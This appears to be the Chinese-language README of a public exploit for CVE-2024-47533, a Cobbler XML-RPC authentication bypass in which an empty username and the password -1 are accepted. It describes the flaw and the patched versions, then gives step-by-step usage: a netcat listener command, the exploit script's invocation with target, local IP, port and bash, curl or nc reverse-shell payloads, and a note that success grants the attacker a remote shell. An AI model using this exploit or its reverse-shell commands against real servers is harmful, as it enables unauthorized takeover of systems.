Cobbler 是一个 Linux 安装服务器,能够快速设置网络安装环境,在 3.0.0 至 3.2.3(不含)和 3.3.7(不含)版本中存在一个认证漏洞。函数 utils.get_shared_secret() 始终返回 -1,允许任何人使用空用户名 ('') 和密码 -1 连接到 Cobbler XML-RPC 接口。这使得具有网络访问权限的攻击者能够完全控制 Cobbler 服务器。该漏洞已在 3.2.3 和 3.3.7 版本中修复。
该漏洞是由于 utils.get_shared_secret() 函数对共享密钥处理不当所致,该函数始终返回 -1,从而有效绕过认证。这使得任何网络用户都可以使用空凭证连接到 Cobbler 的 XMLRPC 接口并执行任意命令。
http://<target>:25151/ — Cobbler 的 XMLRPC API 端点
该利用脚本支持多种反弹 shell 载荷,包括:
nc)在你的机器上启动一个 Netcat 监听器:
nc -lvnp 4444
运行利用脚本 CVE-2024-47533.py。
python3 CVE-2024-47533.py -t http://127.0.0.1:25151 -l 10.10.15.16 -p 4444 --payload bash
-t : 目标 (示例:-t http://1<IP_SERVICE>:<PORT>)
-l: 本地 IP (示例:-l 10.10.11.80)
-p : 端口 <LOCAL_PORT> (示例:-p 4444)
--payload: 载荷 (bash, curl, nc) (示例:--payload bash)
成功执行后,反弹 shell 将回连到监听器,授予攻击者远程访问服务器的权限。